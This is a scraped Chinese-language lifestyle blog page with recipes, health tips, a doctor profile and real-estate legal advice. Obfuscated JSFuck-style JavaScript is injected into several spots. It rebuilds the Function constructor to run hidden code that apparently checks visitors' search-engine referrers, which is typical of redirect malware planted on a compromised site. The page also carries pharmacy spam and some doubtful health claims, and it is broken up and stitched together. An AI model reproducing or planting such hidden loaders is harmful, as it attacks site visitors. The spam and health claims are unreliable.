+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(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2021-02-28 / by / in , , ,
小窍门:青椒牛肉這樣炒 又嫩又滑(视频)

炒牛肉/炒牛肉片//炒肉片方法/炒牛肉怎么做好吃

炒牛肉片是很多人都喜欢吃的一道家常菜,但真正做好它还不容易,经常炒出的牛肉片又老又硬,很难嚼动。

今天给大家介绍炒牛肉的方法,你可以用里脊肉来炒,也可以用比较嫩的后腿肉来炒。肉片炒的好吃了,就开启了一扇做牛肉的大门,各种爆炒牛肉的菜,青椒牛肉,葱爆牛肉,蘑菇牛肉,洋葱牛肉,小炒牛肉,你信手拈来!

材料:

青椒牛肉材料:

嫩后腿肉:200克, 盐水: 500克(2杯)水+8克(1 小勺)盐, 小苏打:小于1克,白胡椒粉:小于1克,老抽:5克, 玉米淀粉:小于1克, 水:10-15克,2-3 小勺, 油:10克,

配菜和调料:

生姜:5克, 蒜末:10克, 干辣椒:8克, 青椒:50克, 洋葱:50克, 老抽:5克,油:10克,盐:1克,

做法:

1. 处理牛肉:牛肉切片,注意一定要与肉的纹路垂直的切,将筋络切断。然后放在盐水中浸泡10分钟,然后洗净。洗净的牛肉放入碗中,加入少许小苏打粉,白胡椒粉,老抽,玉米淀粉,水搅拌均匀,最后加入一勺油将味道包裹起来。

2. 炒牛肉:锅中放适量的油,将大火将肉片煸炒,变色后迅速将肉片出锅。

3. 成菜:利用锅中剩余的油炒干辣椒,然后放入姜片和蒜末,洋葱爆香,煸炒1分钟后倒入炒好的肉片,继续炒1分钟,最后放入青椒煸炒几下即可。

2021-02-28 / by / in ,
每天喝2杯咖啡 可降35%肝癌发生率

吴孟达/肝癌/咖啡

咖啡作为世界三大饮料之一,究竟有什么功效和作用?

精神科权威医师郑光男曾表示,每天喝一杯咖啡,可以降低罹患肝癌的发生率。

《三立新闻》引述郑光男医师观点表示,根据研究调查,每天喝一杯咖啡可降低20%的肝癌发生率,若喝两杯可降低35%,而除了肝癌,喝咖啡也能降低15%的大肠癌发生率。喝咖啡益处也不只如此,郑光男医师也公布喝咖啡对身体还有以下好处:


调配咖啡

1、降低癌症发生率

2、提神醒脑,让精神更好

3、降低65%罹患阿滋海默症风险

4、控制三高、降低20%中风风险

5、帮助燃烧脂肪

6、提升身体爆发力

7、降低罹患糖尿病风险

8、抵抗忧郁

9、更长寿

10、帮助睡眠


咖啡

但郑光男医师也强调,“喝对咖啡”是最重要的,因为咖啡里有个非常重要的成分“绿原酸”,它能抗氧化、减少自由基、促进新陈代谢、调节血糖、降血脂、保护肝脏等功能,但绿原酸不耐高温,所以若是重烘焙的咖啡,恐怕就会让绿原酸流失。若要能真的获取咖啡的好处一定要“喝对咖啡”,郑光男医师建议,要喝轻烘焙的黑咖啡,不要另外加糖和奶精,免得只喝到咖啡因,没有喝到养分,除此之外,喝咖啡也要搭配充足睡眠、运动,才能达到更好效果。

2021-02-28 / by / in

鸡排炸/鸡排

很多人都非常喜欢酥脆的炸鸡排,今天我们一起来分享在家里怎么做出酥的掉渣的鸡排。

酥脆的鸡排是很多人的最爱,今天与大家分享怎么自己在家里做出这种酥的掉渣的效果。

材料:可炸6个鸡排

腌制鸡肉材料:

鸡胸肉:2块, 生抽:1.5大勺, 五香粉:1/8 小勺, 白胡椒粉:1/2 小勺, 生姜泥:1 小勺,

面糊材料:

面粉:90克 牛奶:120克 鸡蛋:2个

沾面粉材料:

面粉:250克, 泡打粉:2 小勺, 苏打粉或者碱面:1/4 小勺, 盐:1/4 小勺, 水:40克

1小盘面粉,油 适量,葱 1 根, 油温:180°C / 356°F 炸4分钟左右

做法:

1. 腌制鸡肉:将鸡胸肉片成薄片,放入所有腌制鸡肉的调料,腌制4小时。

2. 调面糊:将面糊材料放在一起搅拌均匀。

3. 做沾粉:将做沾面粉的干粉部分放在一起,然后一次加少许水,将面搓成小面片。

4. 炸鸡排:将腌制好的鸡肉放在干面粉中沾一下,然后放入面糊中,取出后再沾上搓好的小面片,放入油锅中炸4分钟即可。

2021-02-27 / by / in
五种食物提神醒脑,对春困不在话下

提神醒脑/春困/党参/枸杞/小米/鹌鹑蛋/桂圆

给大家介绍几种极具代表性的食物,它能让人提神醒脑,增强免疫力及抗疲劳。

1.党参:

有明显改善疲劳的作用


党参

党参常常用作人参的替代品,有补气、生津之效,多用于气虚、气血两亏、气津两伤的轻证。

现代医学药理研究证实,党参含多糖、生物碱、皂甙、17种氨基酸及14种无机元素,能兴奋中枢神经、使精神振奋、缓解疲劳。

2.枸杞:

滋补肝肾,益精明目


枸杞

枸杞性平味甘,归肝、肾两经,具有滋补肝肾、益精明目、补气养血等功效。现代医学发现,枸杞能提高免疫力、抗疲劳。

3.小米:

健胃除湿,恢复体力


小米

中医认为,小米是一款和胃温中的佳品。小米味甘咸,有健胃除湿、和胃安眠等功效,更适合内热者及脾胃虚弱者食用。

4.鹌鹑蛋:

多吃可健脑安神


鹌鹑蛋

鹌鹑蛋被称为“动物中的人参”,有滋养五脏、补益气血等功效,相比鸡蛋,它更滋补;适合体质虚弱、容易水肿的人食用。

5.桂圆:

适合脑力劳动者、忧思者


桂圆

将龙眼烘成干果,就是桂圆。桂圆富含葡萄糖、蛋白质、铁等,可在提高热能、补充营养的同时,促进血红蛋白再生。

2021-02-27 / by / in
Prendi Tadalis Online – Tadalis di marca per ordine

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2021-02-26 / by / in , , ,
中医教你如何消除眼袋 让你重返自信 年轻10岁

消除眼袋/承泣穴/四白穴/足三里穴

人体有健康的脾胃功能,会增强人体营养吸收及物质和水的正常代谢。

现在教大家如何在短期3个月内快速消除眼袋!让你看起来更加年轻!非常方便又有效!大家一定要尝试!

先按摩〝承泣穴〞

【承泣穴的位置】位于瞳孔直下方0.7寸,眼眶骨凹陷处。

食指用按揉的方式按摩下眼脸。不要太用力,有酸感即可。每天按摩此处1分钟。

经常按摩此穴。能够供应眼睛足够的血液,进而缓解眼部疲劳、还可防止眼袋松弛,消除眼袋。


眼袋使人老10岁,中医教你如何消除眼袋

接下来按摩〝四白穴〞

【四白穴的位置】位于瞳孔直下方2厘米。 (大约一拇指宽)

先闭上眼睛,将双手食指放在四白穴上,略微用力进行按压,一边吐气一边按压2分钟。

四白穴也叫〝美白穴〞和〝养颜穴〞。每天坚持按摩,能使面部变得细腻白皙,也能改善眼袋。

接着,按摩足三里穴

【足三里穴的位置】在小腿前外侧,外膝眼下四横指,距胫骨前缘一横指,胫骨前肌上。

如图,拇指按住足三里穴,每天按压10分钟即可。

足三里被称为长寿穴。每天按压此穴,能帮助调理脾胃,抗衰老,起到补益气血和暖宫调经的作用


足三里是足阳明胃经要穴,也是养生第一大穴位,历来备受医家青睐 

按摩穴道虽有效消除眼袋,但大家也要注意接下来要跟大家分享的几个正确饮食习惯,让眼袋更加快速被消除!

1. 早上喝一杯萝卜汁或番茄汁,其中所含的胡罗卜素具有消除眼睛疲劳的功用,也能帮助改善眼袋。

2. 缺乏粉质、铁质及维他命C,会引致眼圈的出现,所以平日应多摄取这方面的营养,如面饭、猪肝、菠菜、番茄等食物。

3. 若因肝脏功能不好而导致黑眼圈,需多吃虾、芹菜、茼蒿等绿色蔬菜,水果则宜多吃柑橘类。

4. 别忽略有利于排出体内多余水分、消除浮肿的食物,如红豆、冬瓜、薏仁等。

最后,一定要少吃盐!盐吃多了,除了容易让人水肿,也会加深我们的眼袋,造成皮肤老化。

2021-02-25 / by / in
这几种食物致癌率最高 你有经常吃吗?

油炸食品/致癌 食物/致癌物质/完全致癌物 助致癌物/烧烤食物/亚硝酸胺

想要健康从少吃这些食物开始,因为这些食物虽然是美味佳肴,但太多的致癌物质藏在里面,所以注意不能经常吃。

致癌物质是来源于自然和人为环境、在一定条件下能诱发人类和动物癌症的物质。按其来源分为三大类:天然致癌物质,在原料加工过程中生成的致癌物质及人工合成的致癌物质。按其作用机理,分为引发剂(或称始发剂)和促发剂。

两者兼是者称为完全致癌物,仅有引发作用者称为不完全致癌物。有些既非引发剂也非促发剂,且本身并不致癌,但能增强引发剂和促发剂的作用,称为助致癌物。


腊肠

咸鱼产生二甲基亚硝酸盐,在体内可以转化为致癌物质二甲基亚硝酸胺。一个人如果从出生到10岁经常食用咸鱼,将来患鼻咽癌的可能性比不食用咸鱼的人大30-40倍。鱼露、虾酱、咸蛋、咸菜、腊肠、火腿、熏猪肉同样含有较多的亚硝酸胺类致癌物质,应尽量少吃。

油炸食品:煎炸过焦后,产生致癌物质多环芳烃。咖啡豆烧焦后,苯并芘含量增加20倍。油煎饼、臭豆腐、煎炸芋角、油条等,多数是使用重复多次的油,高温下会产生一种致癌分解物。


油炸食物

烧烤食物:烤牛肉、烤鸭、烤羊肉、烤鹅、烧猪肉等。因含有强致癌物3,4-苯并芘,不宜多食。薰制食品;如熏肉、熏肝、熏鱼、熏蛋、熏豆腐干等亦含苯并芘致癌物,常食易患食道癌和胃癌。

所以这几类生活中不可缺少的,只有这样的食物吃才会开心,是不是呀!不知大家有没有这样的感觉呢!吃归吃,但是还是尽量少吃就少吃吧!为了健康的身体还是尽量少吃吧!

2021-02-25 / by / in
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,50,51,57,53,55,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-02-25 / by / in , , ,
法拉盛肠胃科专家荆彤医生谈他在科罗拉多大学腸胃中心学到了什么

纽约荆彤肠胃中心的荆彤医生拥有令众人惊叹的履历:约翰霍普金斯大学医学院博士,德州大学安德森癌症中心博士学位,科罗拉多州大学肠胃科做治療內視鏡深造及研究,曾任纽约大学医学院胃镜室主任和肠胃科副教授,等等。说起在科罗拉多大学肠胃中心做研究的那段时光对自己职业生涯的影响,荆医生感慨颇多。

 

荆医生在科罗拉多大学培训的主要内容就是在胃镜、肠镜下切除早期肠胃癌。最早使用这项技术的是日本,因为日本人患肠胃癌的人比较多。他们这方面的手术做的比较多、比较好。在科罗拉多大学就有一位来自日本的教授。他是在日本学的这项技术然后把它带到了美国。就是这位教授手把手的教我掌握了胃、肠镜下早期癌症切除的技术。大家知道胃镜、肠镜的镜头都很小,手术的操作空间是很小的,而且胃壁很薄,稍不注意就会造成胃穿孔,手术的难度非常之大。有了这位日本教授的指点,让我有机会训练这项技术,并最终熟练的掌握了它。

2021-02-24 / by / in , ,
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2021-02-24 / by / in , , ,
如何做授权委托书–纽约房地产经纪人郭凤丽律师法律服务系列(2)

在买卖房产的过程中,经常会有人说,可能过户的时候,我没有办法过来,这样有办法进行过户吗?那这种情况我们可以通过做授权委托书来完成过户。

授权委托书的第一个要求是对于人的要求,做授权委托的人叫委托人,帮别人签过户文件的这个人叫做代理人。委托人和代理人他们在法律上都需要拥有完全民事行为能力。什么是完全民事行为能力呢?一般我们是从年龄和智力水平方面来评断。第一个,年龄,这个人需要是法律规定的成年人的年龄,你不能授权给一个10岁的小孩,他可能搞不清楚状况,没办法做决断。第二个,智力情况。智力情况并不是说要求委托人或代理人非常聪明、非常懂法律,不需要是一个专家。只要是一个正常人,有一个正常人的理解、行为能力和签字能力就可以了。这里举个例子,如果委托人是一个老人中心的老人家,已经失去知觉了,这种情况下他的智力水平就已经丧失民事行为能力了,他就不可以做授权委托书了。同样的,如果请一个代理人,他不能是智力有问题,或经常喝酒,喝醉了去签过户文件。

第二个要求是程序上的要求。因为做授权委托书委托人的签字是需要公证的。常见的公证是美国境内做的,也有在美国境外做的。这是两种完全不同的要求。如果在美国境内做的,你只要去美国境内任何一个公证地保,在公证人员的面前签字,公证地保给公证了,这个就是有效的。但是如果这个委托人在海外,比如在中国、在台湾,这个要求就比较特别。一定要到海外的美国领事馆,领事馆都有提供公证服务的。到了领事馆,领事官员会当着面签了字,替大家公证,这样的公证才是有效的。

最后要跟大家解释一下,哪些情况是不可以做授权委托书的。第一种情况是交易的房子是遗产,那么遗产有一个遗嘱执行人,这个人必须本人到场,法律不允许再做授权委托书了。第二种如果是信托在进行交易的话,那信托一般有个信托管理人,叫trustee,这个trustee在法律上来讲也不可以授权另外的代理人,必须本人到场签字。最后一种情况,如果交易当事方是一个公司,一般公司会在过户前做一个股东决议,这个股东决议会授权公司的一个官员替公司签字,这种情况这个官员就要本人替公司签字,不可以授权另外的人。

2021-02-24 / by / in ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,51,48,53,50,55,122,52,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,65,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[